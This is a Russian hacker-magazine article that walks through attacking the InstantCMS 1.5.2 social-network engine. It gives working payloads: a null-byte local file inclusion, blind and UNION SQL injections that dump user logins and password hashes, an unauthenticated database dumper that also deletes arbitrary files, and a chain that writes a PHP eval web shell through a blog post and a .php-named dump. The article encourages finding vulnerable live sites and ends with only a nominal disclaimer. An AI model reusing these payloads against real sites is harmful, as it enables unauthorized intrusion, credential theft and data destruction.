Социальные сети внезапно стали очень популярны. Сейчас социальная сеть – это
и способ пообщаться, и найти друзей, а для кого-то – заработать деньги. И нет
ничего удивительного, что каждый захотел создать свою соцсеть. Как раз для этого
был написан простой, удобный (и, как позже выяснилось, изобилующий уязвимостями)
движок. Имя ему InstantCMS.
В преддверии атаки
Бродя по просторам рунета, я наткнулся на один сайт. Его контент очень
напоминал CMS, и я решил узнать, что же он из себя представляет. Недолго думая,
я попытался найти админку, вбив в адресную строку:
www.site.ru/admin/
После этого мне оставалось только лицезреть поле ввода логина и пароля, а
также надпись «InstantCMS – Авторизация». Навестив гугл запросом InstantCMS,
первым результатом я получил ссылку на официальный сайт двига –
www.instantcms.ru. Последней версией на данный момент оказалась 1.5.2. Через
минуту исходники лежали на моем жестком диске.
Gray-box
Подняв на своем компьютере apache и mysql, я установил цмс и принялся за
анализ исходного кода. Первое, что бросилось в глаза – это папка wysiwyg, в
которой находился до боли знакомый FCKeditor. На мой взгляд, FCKeditor – лучший
помощник при наличии локального инклуда. По адресу
http://localhost/wysiwyg/editor/filemanager/connectors/test.html
находится аплодер файлов. К сожалению, файлы с расширением .php, .phtml, .cgi
и т.п. нам залить не получится, однако при наличии LFI это уже не важно, ведь
файл с любым расширением выполнится как php-код. LFI+FCKeditor – и шелл у вас в
кармане. Но все же это трудно назвать уязвимостью InstantCMS, потому что
разработкой фцкэдитора занимаются совсем другие люди. Поэтому, так как все
работает через mod_rewrite, я решил заглянуть в .htaccess и нашел там вот что:
#COMPONENT "RSS FEEDS"
RewriteRule ^rss/([a-z]*)/(.*)/feed.rss$ /components/rssfeed/frontend.php?&target=$1&item_id=$2
В надежде найти SQL-Injection я направился к файлу frontend.php и увидел там
интересный код:
if (isset($_REQUEST['do'])){ $do = $_REQUEST['do']; } else { $do = 'rss';
}
if (isset($_REQUEST['target'])){ $target = $_REQUEST['target']; } else { die();
}
if (isset($_REQUEST['item_id'])) { $item_id = $_REQUEST['item_id']; } else { die();
}
..................................................
.....................................
if ($do=='rss'){
$rss = '';
if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
$inCore->includeFile('components/'.$target.'/prss.php');
Да это же чистой воды Local File Inclusion в переменной $target! Если в
конфигурации PHP директива magic_quotes_gpc = off , мы можем проинклудить любой
файл, указав нул-байтом конец строки таким образом:
http://localhost/components/rssfeed/frontend.php?item_id=1 &target=../../../../../../../../../../../../etc/hosts%00
Следует заметить, что способ обхода magic_quote_gpc подстановкой >4000 слешей
в данном случае работать не будет, так как путь до файла объявлен с помощью
переменной $_SERVER['DOCUMENT_ROOT'], а, следовательно, вызов функции getcwd()
не выполняется.
У нас есть LFI, а залить файл с php-кодом внутри уже не проблема, – вспомни
про FCKeditor. В случае если администратор отключил загрузку файлов в едиторе,
ты можешь зарегистрировать нового пользователя в системе и залить аватар со злым
содержимым :).
Укол вслепую и не только
Инклуд это хорошо, но и на этом я не остановился, и присмотрелся внимательнее
к коду файла frontend.php:
if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');
В папке components находились различные компоненты системы, но я искал такие,
где находился бы файл prss.php, и нашел такой
/components/blog/prss.php
function rss_blog($item_id, $cfg, &$rssdata){
.............................................
$cat = dbGetFields('cms_blogs', 'id='.$item_id, 'id, title');
Поиск функции dbGetFields привел меня к файлу /core/cms.php:
function dbGetFields($table, $where, $fields, $order='id ASC'){
$inDB = cmsDatabase::getInstance();
return $inDB->get_fields($table, $where, $fields, $order);
}
По правде говоря, все эти скачки по файлам мне изрядно поднадоели, но финиш
был близок. Файл /core/classes/db.class.php показал мне содержимое функции
get_fields:
public function get_fields($table, $where, $fields, $order='id ASC'){
$sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order LIMIT 1";
$result = $this->query($sql);
if ($this->num_rows($result)){
$data = $this->fetch_assoc($result);
return $data;
} else {
return false;
}
}
На всем пути моего путешествия я не встретил ни одной проверки значения
переменной item_id, за исключением файла .htaccess. Следовательно, у нас в
кармане SQL-injection, но, к сожалению слепая. Пример
использования:
http://localhost/components/rssfeed/frontend.php?item_id=1+and+1= if(substring(version(),1,1)=5)&target=blog
Как быстро раскрутить слепую инъекцию – читай в статье Qwazar’a в
предыдущем номере ][. Инъекция это
хорошо, а еще лучше – когда видишь результат запроса; через 10 минут анализа
кода был найден файл core/ajax/tagsearch.php, а в нем – следующее содержимое:
$q = iconv('UTF-8//IGNORE', 'WINDOWS-1251//IGNORE', $_GET['q']);
$q = strtolower($q);
if (!$q) return;
define("VALID_CMS", 1);
include($_SERVER['DOCUMENT_ROOT'].'/includes/config.inc.php');
include($_SERVER['DOCUMENT_ROOT'].'/includes/database.inc.php');
$sql = "SELECT tag FROM cms_tags WHERE LOWER(tag) LIKE '{$q}%' GROUP BY tag";
$rs = mysql_query($sql);
...
И к моему удивлению – также никакой проверки переменной $_GET[‘q’], плюс ко
всему результат запроса выводился на страницу. Запрос
http://localhost/core/ajax/tagsearch.php?q=notexisttag}'+union+select+
concat(login,':',password)+from+cms_users+limit+1,1--+
показал мне логин и md5(пароль) первого пользователя в базе, а убрав limit я
получил всех пользователей. Данная SQL-Injection будет работать только при
отключенной директиве magic_quotes_gpc.
В админке
Попав в админку, шелл можно залить несколькими способами, но самый
эффективный – через баннеры. Переходим в Главная -> Компоненты -> Баннеры ,
жмем «Новый баннер» и загружаем php-шелл, проверки на расширение нет. Шелл
будет располагаться по адресу example.com/images/banners/shell.php.
Больше чем дампер
Не рассчитывая на что-то большее, я залогинился в админке с целью найти
способ заливки веб-шелла, и первое на что обратил внимание, был дампер базы
данных. Я решил найти его исходник в папке admin. Но он оказался совсем в другом
месте, а именно – в core/ajax/dumper.php. Самое интересное, что при прямом
обращении к нему не было никакой авторизации! А это значит, любой пользователь
без админских привилегий может сделать дамп базы.
if ($inCore->request('file', 'str')) { $shortfile = $inCore->request('file',
'str'); } else { $shortfile = date('d-m-Y').'.sql'; }
$opt = $inCore->request('opt', 'str', 'export');
$dir = PATH.'/backups';
$file = $dir.'/'.$shortfile;
….
if ($opt=='export'){
include($_SERVER['DOCUMENT_ROOT'].'/includes/dbexport.inc.php');
if (is_writable($dir)){
$dumper = new MySQLDump($inConf->db_base,$file,false,false);
$dumper->doDump();
if(!$inDB->errno()){
$fileurl = '/backups/'.$shortfile;
echo '<span style="color:green">Экспорт базы данных завершен.</span> <a href="/backups/'.$shortfile.'"
target="_blank">Скачать файл</a> | <a href="#" onclick="deleteDump(\''.$shortfile.'\')">Удалить
файл</a>';
echo '<div class="hinttext">Чтобы скачать файл, щелкните правой кнопкой мыши по
ссылке и выберите "Сохранить объект как..."</div>';
} else {
echo '<span style="color:red">Ошибка экспорта базы</span>';
}
} else {
echo '<span style="color:red">Папка "/backups" не доступна для записи!</span>';
}
}
При обращении к файлу с параметром opt, равным export, и file, равным
dump.sql, в папке /backup/ создастся файл dump.sql. Пример:
http://localhost/core/ajax/dumper.php?opt=export&file=dump.sql
Пробежав глазами по коду, я нашел удаление произвольных файлов:
if ($opt=='delete'){
if(@unlink($file)){
echo '<span style="color:green">Файл удален.</span>';
} else {
echo '<span style="color:red">Ошибка удаления файла.</span>';
}
}
Польза от этой уязвимости незначительная, но все же есть. Пример
использования:
http://localhost/core/ajax/dumper.php?opt=delete&file=../index.php
Ну и, наконец, самое интересное, – мы можем делать бэкап, причем можем задать
любое имя файла. Что же нам мешает создать файл с расширением .php, а перед этим
записать в базу php-код? А мешают фильтры. XSS-фильтров разработчики поставили
очень много, но я нашел место, где символы «<>» не обрезаются.
Для этого регистрируемся на сайте и идем в свой профиль, а именно – в раздел
«Мой Блог», создаем там персональный блог, переходим в него и постим новую
запись:
<?php
eval($_GET[ev]);
die;
?>
В итоге, в БД запишется наш php-код и останется только создать дамп с
расширеним .php:
http://www.example.com/core/ajax/dumper.php?opt=export&file=shell.php
Теперь наш шелл создан и находится по адресу:
http://www.example.com/backup/shell.php?ev=phpinfo
();
Outro
Написать свою CMS довольно сложно, но еще сложнее уследить за безопасностью.
А так как личные блоги и соцсети плодятся, как грибы после дождя, найти
потенциально уязвимый сайт становится проще. Учись на чужих ошибках, и помни,
что все, что ты только что прочитал, написано исключительно с целью
ознакомления, и ни автор, ни редакция журнала не несут ответственности за твои
действия.